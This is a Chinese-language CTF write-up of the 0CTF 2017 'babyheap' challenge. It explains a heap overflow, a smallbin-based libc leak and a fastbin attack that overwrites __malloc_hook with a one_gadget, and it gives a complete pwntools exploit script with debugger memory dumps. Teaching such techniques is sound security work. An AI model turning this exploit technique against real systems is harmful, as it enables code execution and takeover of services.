0CTF 2017 babyheap

0x00 前言

前段时间在CTF-WIKI上面学习Fastbin Attack的时候遇到过这道题目,因为这道题目涉及了一些当时还未学到的知识,就略过了这道题目。今天在BUUCTF上又刷到了这道题目,知识储备也够做这道题目了。但依然遇到了一些小困难,这道题目细节还是挺多的。

题目可以去BUUCTF上面下载,也可以从CTF-WIKI上面的下载链接来下载下载链接

0x01 分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

题目的保护全开

1
2
3
4
5
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit

题目共有5个功能

1. Allocate

该函数采用calloc的方式申请堆块,且申请size要小于等于4096。

malloc申请后空间的值是随机的,并没有进行初始化,而calloc却在申请后,对空间逐一进行初始化,并设置值为0。

该程序最多申请16个堆块,每次申请堆块时,会在一个地址( 这个地址每次运行都不一样,这个地址的生成算法在sub_B70函数 )附近存放该堆块的信息(是否申请,size,content指针)。

格式如下:

是否已申请? 1 : 0
size
content指针

2. Fill

该函数能实现无限写功能,存在堆溢出。

在这个函数里面,程序要求我们输入一个size,这个size不同于我们1. Allocate里面要求输入的size。这是两个完全独立的变量,只不过名字都叫size。

3. Free

该函数能够进行释放堆块,free掉content指针,并且置为NULL

4. Dump

该函数会根据1. Allocate里的size的大小来输出content指针所指向的内容,size多大就输出多少个字节的内容。

5. Exit

退出程序

基本思路

由于用来存放chunk信息的那块地址每次都不一样,不太好通过修改content指针进而修改其内容来偷梁换柱,而且程序是Full RELRO,也没办法通过覆盖got表来getshell。

不过可以用__malloc_hook或者__free_hook

本文采用__malloc_hook,如果用__free_hook原理一样。

其原理是:

malloc_hook 是一个 libc 上的函数指针,调用 malloc 时如果该指针不为空则执行它指向的函数,可以通过写 malloc_hook 让其指针不为空来执行我们所设置的函数来 getshell

  • 首先,我们需要泄露libc地址,当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,这里借助smallbin的fd和bk指向main_arena来泄露libc基地址。

  • 然后利用fastbin attack 将chunk分配到__malloc_hook附近,从而修改__malloc_hook

0x02 Let’s do it !

前期模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

#context.log_level = 'debug'

c = process('./babyheap')
elf = ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#c = remote('node3.buuoj.cn',29105)

def alloc(size):
c.recvuntil('Command: ')
c.sendline('1')
c.recvuntil('Size: ')
c.sendline(str(size))

def fill(idx,size,cont):
c.recvuntil('Command: ')
c.sendline('2')
c.recvuntil('Index: ')
c.sendline(str(idx))
c.recvuntil('Size: ')
c.sendline(str(size))
c.recvuntil('Content: ')
c.sendline(cont)

def free(idx):
c.recvuntil('Command: ')
c.sendline('3')
c.recvuntil('Index: ')
c.sendline(str(idx))

def dump(idx):
c.recvuntil('Command: ')
c.sendline('4')
c.recvuntil('Index: ')
c.sendline(str(idx))

Leak libc

当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,然后 fastbin attack 可以实现有限的地址写能力

那么我们可以这样设置堆块。

1
2
3
4
alloc(0x50)#0
alloc(0x40)#1
alloc(0x80)#2
alloc(0x10)#3

堆块0大小没有严格要求,但别太离谱,这个堆块是用来修改chunk1的header的。

堆块1大小似乎必须是0x40,这是有目的的,后续会讲到。

堆块2需要是samllbin,这是为了通过unsorted bin泄露libc。

堆块3是为了不让堆块2和top chunk紧邻而申请的,大小和堆块0一样,没有严格要求,但别太离谱。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
申请完以后布局如下
0x555555757000: 0x0000000000000000 0x0000000000000061
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000000
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000051
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000091
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x0000000000000000 0x0000000000000000
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
0x555555757140: 0x0000000000000000 0x0000000000000021
0x555555757150: 0x0000000000000000 0x0000000000000000
0x555555757160: 0x0000000000000000 0x0000000000020ea1
0x555555757170: 0x0000000000000000 0x0000000000000000

然后我们需要通过修改chunk1的size来实现chunk1的扩张,具体就是先修改size,然后free,然后再申请,因为这是fastbin,申请后还在这。需要扩张是因为dump函数是根据chunk的size来决定输出多少内容的。

扩张多少? 扩张到能够输出chunk2的fd和bk就行,也就是扩张0x20。那么chunk1的size需要改成0x71。

1
2
payload = 'a'*0x50 + p64(0) + p64(0x71)
fill(0,len(payload),payload)

借助fill函数里的无限写,很容易能实现扩张。

但是这里需要注意的是: 由于程序采用的calloc函数进行申请,会初始化所申请的堆块,也就是说,如果我们free(1),然后再申请回来1,因为已经扩张了,chunk2的header和data区的前0x10个字节都会被初始化为0。

一个细节(疑惑)

这里还有一个细节:

1
2
payload = 'a'*0x10 + p64(0) + p64(0x71)
fill(2,len(payload),payload)

这里还需要修改一下chunk2的内容,这样做有点伪造chunk的意思,后面这个p64(0x71)就在chunksize的位置。

这一步确实是需要有的,如果没有的话exp就会崩。

查阅了一些博客,大部分博主都说这一步的目的是Corrupting smallbin->size to pass allocation assert,也就是绕过alloc的验证,不然过会free(1),alloc(0x60)会失败。

但是如果不加上这个p64(0x71),就连free(1)都会导致程序崩溃,这似乎和unlink有关?

0x71 被称为chunksize ,下面这段代码是malloc.c中的一段代码,如果fastbin_index (chunksize (victim)) != idx, 就会corruption, free的时候也会检查chunksize, 根据chunksize的大小,free相应的空间.

1
2
3
4
5
6
7
8
9
10
11
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}


#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

比较奇怪的是: p64(11) ,p64(61),p64(62),p64(111),p64(1111)还有一堆我试了试都可以,似乎只要大于等于11且不是太大都可以, 应该没必要非得是p64(71)吧?

继续

然后利用fastbin的特性,free然后alloc 实现堆块重叠

1
2
free(1)
alloc(0x60)

然后给smallbin 恢复它的header

1
2
payload = 'a'*0x40 + p64(0) + p64(0x91)
fill(1,len(payload),payload)

然后free掉smallbin,这样它的fd和bk都会指向main_arena的一块地址

1
free(2)

来看一下效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0x555555757000:	0x0000000000000000	0x0000000000000061
0x555555757010: 0x6161616161616161 0x6161616161616161
0x555555757020: 0x6161616161616161 0x6161616161616161
0x555555757030: 0x6161616161616161 0x6161616161616161
0x555555757040: 0x6161616161616161 0x6161616161616161
0x555555757050: 0x6161616161616161 0x6161616161616161
0x555555757060: 0x0000000000000000 0x0000000000000071<--chunk1 -
0x555555757070: 0x6161616161616161 0x6161616161616161 |
0x555555757080: 0x6161616161616161 0x6161616161616161 |
0x555555757090: 0x6161616161616161 0x6161616161616161 |这些都是chunk1
0x5555557570a0: 0x6161616161616161 0x6161616161616161 |
0x5555557570b0: 0x0000000000000000 0x0000000000000091<--chunk2 |
0x5555557570c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78<--fd bk —
0x5555557570d0: 0x0000000000000000 0x0000000000000071
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x0000000000000000 0x0000000000000000
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000
0x555555757140: 0x0000000000000090 0x0000000000000020
0x555555757150: 0x0000000000000000 0x0000000000000000
0x555555757160: 0x0000000000000000 0x0000000000020ea1
0x555555757170: 0x0000000000000000 0x0000000000000000
0x555555757180: 0x0000000000000000 0x0000000000000000

来看一下smallbin的fd和bk指向的是哪?

1
0x7ffff7dd1b78 <main_arena+88>:	0x0000555555757160

可以看到 它们指向了main_arena + 88

而本地libc的加载地址是0x7ffff7a0d000,而这个地址和smallbin的fd的偏移为0x3c4b78

1
2
pwndbg> distance 0x7ffff7a0d000 0x7ffff7dd1b78
0x7ffff7a0d000->0x7ffff7dd1b78 is 0x3c4b78 bytes (0x7896f words)

这个偏移无论是打远程还是本地,都是不变的,我们有了这个偏移以后,就可以通过dump出fd或者bk的值,然后减去偏移,就能得到libcbase。

用代码来实现即:

1
2
3
4
5
6
dump(1)
c.recvuntil('Content: \n')
main_arena = u64(c.recvuntil('\n',drop = True)[-8:])
log.success('main_arena + 88 = ' + hex(main_arena))
offset = 0x3c4b78
libcbase = main_arena-offset

getshell

选取fake_chunk

首先要在__malloc_hook附近找到合适的地址伪造一个chunk用于fastbin double free

1
2
malloc_hook = libc.symbols["__malloc_hook"]+libcbase
fake_chunk = malloc_hook - 0x23

注意这里为什么fake_chunk是 malloc_hook - 0x23 ?

我们来看__malloc_hook附近

1
2
3
4
5
6
7
8
9
10
0x7ffff7dd1ac0 <_IO_wide_data_0+256>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1ad0 <_IO_wide_data_0+272>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000

很遗憾,如果我们直接选取malloc_hook -0x10 或 -0x20 、 -0x30、-0x40, 那么我们的fake_chunk的chunksize都只能是0,这肯定不是我们想要的结果。

由于fake_chunk指向的是chunk header,我们至少要从-0x10 开始往前找,找啊找啊,找到一个0x7f,这个可以做chunksize, 它对应的是malloc_hook - 0x23, 所以我们的 fake_chunk = malloc_hook - 0x23就是这么来的。

来看一下效果

1
2
3
4
5
6
7
8
9
10
0x7ffff7dd1aed <_IO_wide_data_0+301>:	0xfff7dd0260000000	0x000000000000007f <-- chunksize
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b4d <main_arena+45>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b6d <main_arena+77>: 0x0000000000000000 0x5555757160000000
0x7ffff7dd1b7d <main_arena+93>: 0x0000000000000055 0x55557570b0000000

fastbin double free

free掉chunk1以后修改其fd,让它的fd指向fakechunk,然后连续alloc两次就能拿到我们的fakechunk

1
2
3
4
5
free(1)
payload = 'a'*0x50 + p64(0) + p64(0x71) + p64(fake_chunk) +p64(0)
fill(0,len(payload),payload)
alloc(0x60)
alloc(0x60)

其实这里还有很多细节:

一些细节

我们在最开始的时候对于chunk1采用的alloc(0x40),加上header也就是0x51,后来为了堆块重叠而进行了扩张,扩张了0x20,也就变成了0x71,再想想我们刚才在__malloc_hook附近找了许多字节,只有0x7f适合做fakechunk的chunksize,而当0x7f做chunksize的时候,其数据域的大小正好就是0x60,和我们扩张以后的chunk1的数据域大小保持一致,这为我们fastbin double free创造了条件(都在同一个fastbin链表中)。

修改__malloc_hook 为execve(“/bin/sh”)

如何获取execve("/bin/sh")?这里用到了one_gadget

这四个选一个吧,不过我这四个里面只有0x4526a能用。。。

然后就是偷梁换柱咯

1
2
payload = 'a'*3 + p64(0) + p64(0) + p64(libcbase + 0x4526a)
fill(2,len(payload),payload)

由于__malloc_hook附近是这种结构

1
2
3
memalign_hook
realloc_hook
malloc hook

所以那两个p64(0)分别对应memalign_hook和realloc_hook。

这样就能通过alloc一个chunk来触发malloc_hook里面我们修改的execve(“/bin/sh”)从而getshell了

1
2
alloc(0x30)#这个大小随意,别太离谱就行
c.interactive()

0x03 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *

#context.log_level = 'debug'

c = process('./babyheap')
elf = ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#c = remote('node3.buuoj.cn',29105)

def alloc(size):
c.recvuntil('Command: ')
c.sendline('1')
c.recvuntil('Size: ')
c.sendline(str(size))

def fill(idx,size,cont):
c.recvuntil('Command: ')
c.sendline('2')
c.recvuntil('Index: ')
c.sendline(str(idx))
c.recvuntil('Size: ')
c.sendline(str(size))
c.recvuntil('Content: ')
c.sendline(cont)

def free(idx):
c.recvuntil('Command: ')
c.sendline('3')
c.recvuntil('Index: ')
c.sendline(str(idx))

def dump(idx):
c.recvuntil('Command: ')
c.sendline('4')
c.recvuntil('Index: ')
c.sendline(str(idx))

alloc(0x50)
alloc(0x40)
alloc(0x80)
alloc(0x10)

#-----------leak libc-------------------

payload = 'a'*0x50 + p64(0) + p64(0x71)
fill(0,len(payload),payload)

payload = 'a'*0x10 + p64(0) + p64(0x11111)
fill(2,len(payload),payload)

free(1)

alloc(0x60)

payload = 'a'*0x40 + p64(0) + p64(0x91)
fill(1,len(payload),payload)

free(2)

dump(1)
c.recvuntil('Content: \n')
main_arena = u64(c.recvuntil('\n',drop = True)[-8:])
log.success('main_arena + 88 = ' + hex(main_arena))

'''
pwndbg> distance 0x7ffff7a0d000 0x7ffff7dd1b78
0x7ffff7a0d000->0x7ffff7dd1b78 is 0x3c4b78 bytes (0x7896f words)
'''
offset = 0x3c4b78

libcbase = main_arena-offset

#-------------choice fake_chunk --------------

malloc_hook = libc.symbols["__malloc_hook"]+libcbase
fake_chunk = malloc_hook - 0x23

log.success('fake_chunk = ' + hex(fake_chunk))

#------------fastbin double free -------------

free(1)
payload = 'a'*0x50 + p64(0) + p64(0x71) + p64(fake_chunk) +p64(0)
fill(0,len(payload),payload)
alloc(0x60)
alloc(0x60)

#---------change __malloc_hook to execve("/bin/sh") --------

payload = 'a'*3 + p64(0) + p64(0) + p64(libcbase + 0x4526a)
fill(2,len(payload),payload)

#--------execve("/bin/sh") by alloc -----------------

alloc(0x30)

c.interactive()

0x04 参考链接

CSDN

CTF-WIKI

看雪

简书

谢谢各位师傅们~通过这道题学到了很多。